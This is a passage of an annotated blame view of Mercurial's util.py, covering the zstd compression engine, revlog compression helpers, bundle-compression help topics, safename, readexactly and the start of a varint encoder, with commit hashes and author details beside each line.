Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3772 return None
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3773
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3774 def available(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3775 return bool(self._module)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3776
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3777 def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3778 """A modern compression algorithm that is fast and highly flexible.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3779
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3780 Only supported by Mercurial 4.1 and newer clients.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3781
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3782 With the default settings, zstd compression is both faster and yields
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3783 better compression than ``gzip``. It also frequently yields better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3784 compression than ``bzip2`` while operating at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3785
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3786 If this engine is available and backwards compatibility is not a
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3787 concern, it is likely the best available engine.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3788 """
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3789 return 'zstd', 'ZS'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3790
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3791 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3792 return compewireprotosupport('zstd', 50, 50)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3793
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3794 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3795 return '\x28'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3796
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3797 def compressstream(self, it, opts=None):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3798 opts = opts or {}
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3799 # zstd level 3 is almost always significantly faster than zlib
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3800 # while providing no worse compression. It strikes a good balance
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3801 # between speed and compression.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3802 level = opts.get('level', 3)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3803
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3804 zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3805 z = zstd.ZstdCompressor(level=level).compressobj()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3806 for chunk in it:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3807 data = z.compress(chunk)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3808 if data:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3809 yield data
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3810
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3811 yield z.flush()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3812
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3813 def decompressorreader(self, fh):
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3814 return _ZstdCompressedStreamReader(fh, self._module)
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3815
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3816 class zstdrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3817 def __init__(self, zstd, level=3):
37496
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
3818 # TODO consider omitting frame magic to save 4 bytes.
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
3819 # This writes content sizes into the frame header. That is
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
3820 # extra storage. But it allows a correct size memory allocation
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
3821 # to hold the result.
1765ed63db40 util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37455
diff changeset
3822 self._cctx = zstd.ZstdCompressor(level=level)
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3823 self._dctx = zstd.ZstdDecompressor()
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3824 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3825 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3826
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3827 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3828 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3829 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3830 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3831
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3832 if insize < 50:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3833 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3834
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3835 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3836 compressed = self._cctx.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3837 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3838 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3839 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3840 else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3841 z = self._cctx.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3842 chunks = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3843 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3844 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3845 pos2 = pos + self._compinsize
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3846 chunk = z.compress(data[pos:pos2])
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3847 if chunk:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3848 chunks.append(chunk)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3849 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3850 chunks.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3851
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3852 if sum(map(len, chunks)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3853 return ''.join(chunks)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3854 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3855
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3856 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3857 insize = len(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3858
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3859 try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3860 # This was measured to be faster than other streaming
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3861 # decompressors.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3862 dobj = self._dctx.decompressobj()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3863 chunks = []
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3864 pos = 0
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3865 while pos < insize:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3866 pos2 = pos + self._decompinsize
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3867 chunk = dobj.decompress(data[pos:pos2])
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3868 if chunk:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3869 chunks.append(chunk)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3870 pos = pos2
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3871 # Frame should be exhausted, so no finish() API.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3872
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3873 return ''.join(chunks)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3874 except Exception as e:
39777
b63dee7bd0d9 global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39571
diff changeset
3875 raise error.StorageError(_('revlog decompress error: %s') %
b63dee7bd0d9 global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39571
diff changeset
3876 stringutil.forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3877
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3878 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3879 opts = opts or {}
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3880 return self.zstdrevlogcompressor(self._module,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3881 level=opts.get('level', 3))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3882
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3883 compengines.register(_zstdengine())
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3884
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3885 def bundlecompressiontopics():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3886 """Obtains a list of available bundle compressions for use in help."""
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3887 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3888 items = {}
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3889
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3890 # We need to format the docstring. So use a dummy object/type to hold it
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3891 # rather than mutating the original.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3892 class docobject(object):
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3893 pass
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3894
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3895 for name in compengines:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3896 engine = compengines[name]
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3897
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3898 if not engine.available():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3899 continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3900
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3901 bt = engine.bundletype()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3902 if not bt or not bt[0]:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3903 continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3904
40251
3c89227788a2 py3: build help of compression engines in bytes
Yuya Nishihara <yuya@tcha.org>
parents: 40029
diff changeset
3905 doc = b'``%s``\n %s' % (bt[0], pycompat.getdoc(engine.bundletype))
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3906
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3907 value = docobject()
40251
3c89227788a2 py3: build help of compression engines in bytes
Yuya Nishihara <yuya@tcha.org>
parents: 40029
diff changeset
3908 value.__doc__ = pycompat.sysstr(doc)
33818
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33799
diff changeset
3909 value._origdoc = engine.bundletype.__doc__
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33799
diff changeset
3910 value._origfunc = engine.bundletype
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3911
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3912 items[bt[0]] = value
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3913
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3914 return items
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3915
33820
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33818
diff changeset
3916 i18nfunctions = bundlecompressiontopics().values()
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33818
diff changeset
3917
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3918 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3919 dst = debugstacktrace
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3920
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3921 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3922 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3923 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3924
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3925 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3926 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3927 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3928 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3929
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3930 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3931 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3932 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3933 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3934 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3935
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3936 fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3937 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3938 return fn
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3939 for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3940 fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3941 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
3942 return fn
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3943
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3944 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3945 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3946 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3947 if len(s) < n:
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3948 raise error.Abort(_("stream ended unexpectedly"
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3949 " (got %d bytes, expected %d)")
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3950 % (len(s), n))
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
3951 return s
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3952
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3953 def uvarintencode(value):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3954 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3955
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3956 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3957 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3958 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3959 first.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3960
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3961 >>> uvarintencode(0)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3962 '\\x00'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3963 >>> uvarintencode(1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3964 '\\x01'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3965 >>> uvarintencode(127)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3966 '\\x7f'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3967 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3968 '\\xb9\\n'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3969 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3970 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3971 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3972 Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3973 ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3974 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3975 """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3976 if value < 0:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3977 raise error.ProgrammingError('negative value for uvarint: %d'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3978 % value)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3979 bits = value & 0x7f
